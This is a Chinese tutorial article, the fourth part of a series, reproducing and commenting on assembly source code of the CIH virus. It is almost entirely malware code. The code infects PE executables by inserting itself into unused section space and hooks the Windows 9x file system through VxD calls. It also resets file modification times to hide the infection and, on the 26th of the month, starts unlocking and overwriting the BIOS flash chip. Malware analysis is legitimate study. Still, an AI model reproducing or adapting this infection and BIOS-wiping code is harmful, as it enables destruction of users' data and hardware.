首页  >  文章  >  后端开发  >  病毒程序源码实例剖析-CIH病毒[4]

病毒程序源码实例剖析-CIH病毒[4]

黄舟
黄舟原创
2017-01-17 11:23:271890浏览

push eax ;块表大小 
  push edx ;edx为病毒代码块表的偏移 
  push esi ;缓冲区地址
  
  ;合并的病毒代码块和病毒代码块表的总大小必须小于等于未使用的空间大小
  inc ecx 
  push ecx ; Save NumberOfSections+1 
  
  shl ecx, 03h ;乘8 
  push ecx ;预留病毒块表空间 
  
  add ecx, eax 
  add ecx, edx ;ecx+文件的正文的偏移 
  
  sub ecx, (SizeOfHeaders-@9)[esi] 
  not ecx 
  inc ecx ;求补,ecx为文件头大小 - 正文的偏移 = 未用空间 
  
  push ecx 
  
  xchg ecx, eax ;ecx为块表大小 
  
  mov eax, (AddressOfEntryPoint-@9][esi] ;入口RVA地址 
  add eax, (ImageBase-@9)[esi] ;装入基址 
  mov (OriginalAddressOfEntryPoint-@9)[esi], eax ;保存装入后实际的入口地址 
  
  ;未用空间和病毒第一块大小比较,如果小于就只设感染标志
  cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection 
  jl OnlySetInfectedMark 
  
  ; 读取所有病毒块表
  mov eax, ebp ;读的功能号 
  call edi ;读块表到esi(@9处) 
  
  ;下面完全修改处理Winzip自解压文件的错误,当用户打开自解压文件时,
  ;病毒不会感染。首先,病毒获得第2个块表的ToRawData指针,
  ;读取该块数据,判断是否包含“WinZip(R)”字样
  
  xchg eax, ebp 
  push 00000004h 
  pop ecx 读4字节 
  
  push edx 
  mov edx, (SizeOfScetionTable+PointerToRawData-@9][ebx] 
  ;edx为第二块的偏移(.rdata) 
  
  add edx, 12h ;加10h+2h(10h处为"WinZip....") 
  
  call edi ;读4字节到esi 
  
  ;判断是否Winzip自解压文件,如果是就不设置感染标志
  cmp dword ptr [esi], 'piZn' 
  je NotSetInfectedMark 
  
  pop edx ;edx指向块表在文件中首址 
  
  ; 设置病毒代码块表
  pop ebx ;未用空间大小 
  pop edi ;edi = TotalSizeOfVirusCodeSectionTabl 
  pop ecx ; ecx = NumberOfSections+1 
  
  push edi 
  add edx, ebp ; ebp为块表大小 
  push edx ;文件指针 
  
  add ebp, esi ; ebp指向病毒数据区的块表后(第一块) 
  push ebp ;缓冲区地址 
  
  ; 设置第一个病毒代码块的大小 
  lea eax, [ebp+edi-04h] 
  mov [eax], ebx 
  
  ; 设置第一个病毒块
  push ebx ; 病毒代码第一块的大小
  
  add edx, edi 
  push edx ;文件指针
  lea edi, (MyVirusStart-@9)[esi] 
  push edi ;缓冲区地址
  
  ;修改AddressOfEntryPoint的入口为病毒入口
  mov (NewAddressOfEntryPoint-@9)[esi], edx ;保存新的程序入口(病毒正文) 
  
  ; 设置初始数据
  lea edx, [esi-SizeOfScetionTable] ;edx先减一项块表长度
  mov ebp, offset VirusSize ;ebp为病毒长度 
  
  jmp StartToWriteCodeToSections 
  
  ;写信息到病毒块
  LoopOfWriteCodeToSections: 
  add edx, SizeOfScetionTable 
  mov ebx, (SizeOfRawData-@9)[edx] ;ebx为该块表项的SizeOfRawData(块大小) 
  sub ebx, (VirtualSize-@9][edx] ;减去VirtualSize等于该块未用空间 
  jbe EndOfWriteCodeToSections 
  
  push ebx ; Size 
  
  sub eax, 08h 
  mov [eax], ebx ;写入病毒块表 
  
  mov ebx, (PointerToRawData-@9)[edx] ;ebx为块的物理(实际)偏移
  add ebx, (VirtualSize-@9)[edx] ;加上VirtualSize 
  push ebx ;ebx指向该块未用空间的文件指针 
  
  push edi ; 缓冲区地址 
  
  mov ebx, (VirtualSize-@9)[edx] 
  add ebx, (VirtualAddress-@9)[edx] 
  add ebx, (ImageBase-@9)[esi] ;ebx为该块装入后的实际地址 
  mov [eax+4], ebx ;保存到病毒块表中 
  
  mov ebx, [eax] ;该块未用空间大小 
  add (VirtualSize-@9)[edx], ebx ;加到该块表项的VirtualSize
  
  ;改该块表项的块属性(改为可读,并包含初始化数据)
  or (Characteristics-@9)[edx], 40000040h 
  
  ;开始写代码
  StartToWriteCodeToSections: 
  sub ebp, ebx ;病毒大小-病毒块大小 
  
  ;如果小于(病毒插入完毕)就设置病毒块表结束符
  jbe SetVirusCodeSectionTableEndMark 
  
  add edi, ebx ;指向病毒下一块 
  
  ;写代码结束
  EndOfWriteCodeToSections: 
  loop LoopOfWriteCodeToSections 
  
  OnlySetInfectedMark: 
  mov esp, dr1 ;只设置感染标志 
  
  jmp WriteVirusCodeToFile ;跳到写病毒到要传染的文件的程序 
  
  ;不设置感染标志
  NotSetInfectedMark: 
  add esp, 3ch 
  jmp CloseFile ;转到CloseFile处 
  
  ;设置病毒块表和标记
  SetVirusCodeSectionTableEndMark: 
  ;调整病毒块代码
  add [eax], ebp ;更正病毒块表的最后一项 
  add [esp+08h], ebp 
  
  ;设置块表结束标志
  xor ebx, ebx 
  mov [eax-04h], ebx 
  
  ; 当病毒程序调用 Vxd指令时,VMM修改20号中断
  lea eax, (LastVxdCallAddress-2-@9)[esi] ;上一个调用Vxd指令的地址 
  
  mov cl, VxdCallTableSize ;所用Vxd调用的个数 
  
  LoopOfRestoreVxdCallID: 
  mov word ptr [eax], 20cdh ;还原成“int 20h”的形式 
  
  ;从VxdCallIDTable取出Vxd调用的id号放到edx
  mov edx, (VxdCallIDTable+(ecx-1)*04h-@9)[esi] 
  
  mov [eax+2], edx ;放到“int 20h”的后面
  
  ;VxdCallAddressTable中放着各个调用Vxd的指令地址之差
  movzx edx, byte ptr (VxdCallAddressTable+ecx-1-@9)[esi] 
  
  sub eax, edx ;eax为上一个调用地址 
  
  loop LoopOfRestoreVxdCallID ;还原其他的调用 
  
  ; 把病毒代码写到文件中
  WriteVirusCodeToFile: 
  mov eax, dr1 ;dr1为前面所保存的esp 
  mov ebx, [eax+10h] ;ebx为保存在栈中的保存文件句柄
  mov edi, [eax] ;edi为保存在栈中的IFSMgr_Ring0_FileIO调用地址
  
  ;循环写入
  LoopOfWriteVirusCodeToFile: 
  pop ecx ;病毒代码各段的偏移 
  jecxz SetFileModificationMark ;到病毒偏移零为止 
  
  mov esi, ecx 
  mov eax, 0d601h ;写文件功能号(R0_WRITEFILE) 
  pop edx ;文件指针 
  pop ecx ;要写的字节数
  
  call edi ; VXD调用IFSMgr_Ring0_FileIO,写文件 
  ;依次写入各段病毒代码、病毒块表、新的
  ;文件块表、新的程序入口、感染标志 
  jmp LoopOfWriteVirusCodeToFile 
  
  ; 修改文件的最后修改时间,使用户不知道文件已经被修改
  SetFileModificationMark: 
  pop ebx 
  pop eax 
  
  stc ;设置进位标志 
  pushf ;标志位入栈 
  
  ; 关闭文件
  CloseFile: 
  xor eax, eax 
  mov ah, 0d7h ;关闭文件功能号 
  call edi ; Vxd调用IFSMgr_Ring0_FileIO关闭文件
  
  popf 
  pop esi 
  jnc IsKillComputer ;如果进位标志为0,就转向KillComputer
  
  ;恢复文件修改时间
  mov ebx, edi 
  
  mov ax, 4303h 
  mov ecx, (FileModificationTime-@7)[esi] 
  mov edi, (FileModificationTime+2-@7)[esi] 
  call ebx ; Vxd调用IFSMgr_Ring0_FileIO,修改文件的最后修改时间 
  
  
  ; 设置不“忙”标志
  DisableOnBusy: 
  dec byte ptr (OnBusy-@7)[esi] 
  
  ; 调用原来的FileSystemApiHook 
  prevhook: 
  popad ;恢复所有寄存器 
  
  mov eax, dr0 ; 保存的原来的文件系统钩子程序首址 
  jmp [eax] ;跳到原来的钩子去执行 
  
  pIFSFunc:
  mov ebx, esp ; ebx指向esp以获得FileSystemApiHookFunction的参数地址
  push dword ptr [ebx+20h+04h+14h] ;把参数pioreqpir入栈 
  call [ebx+20h+04h] ;调用pIFSFunc FSDFnAddr 
  pop ecx 
  
  mov [ebx+1ch], eax ;修改eax的值
  
  ; 调用了pIFSFunc之后,从返回值pioreq中获得数据
  cmp dword ptr [ebx+20h+04h+04h], 00000024h 
  jne QuitMyVirusFileSystemHook 
  
  
  ;获得在DOS模式下的文件的修改日期和时间 
  mov eax, [ecx+28h] 
  mov (FileModificationTime-@6)[esi], eax ;保存获得的文件时间和日期 
  
  
  ;退出病毒程序
  QuitMyVirusFileSystemHook: 
  popad ;恢复所有寄存器 
  
  ret ;从病毒设置的文件钩子程序中退出 
  
  ; 破坏计算机BIOS
  IsKillComputer: 
  ;从BIOS CMOS中获得当前日期 
  mov al, 07h 
  out 70h, al 
  in al, 71h 
  
  xor al, 26h ;判断是否是26号,
  
  ;如果是调试程序,则转向DisableOnBusy 
  IF DEBUG 
  jmp DisableOnBusy 
  ELSE 
  jnz DisableOnBusy ;如果不是26号,则转向DisableOnBusy,不进行破坏 
  ENDIF 
   
  ;开始 破坏BIOS EEPROM *
  mov bp, 0cf8h 
  lea esi, IOForEEPROM-@7[esi] 
  
  ;显示000E0000 - 000EFFFF 地址段的BIOS页面,共64KB
  mov edi, 8000384ch 
  mov dx, 0cfeh 
  cli 
  call esi 
  
  ;显示000F0000 - 000FFFFF地址段的BIOS页面,共64KB 
  mov di, 0058h 
  dec edx ; and a0fh 
  mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h 
  call esi 
  
  ; 显示BIOS中额外的000E0000 - 000E01FF段的 ROM数据,共512个字节
  ;和可写的BIOS块
  lea ebx, EnableEEPROMToWrite-@10[esi] 
  
  mov eax, 0e5555h 
  mov ecx, 0e2aaah 
  call ebx 
  mov byte ptr [eax], 60h

以上就是病毒程序源码实例剖析-CIH病毒[4]的内容,更多相关内容请关注PHP中文网(www.php.cn)!


声明:
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn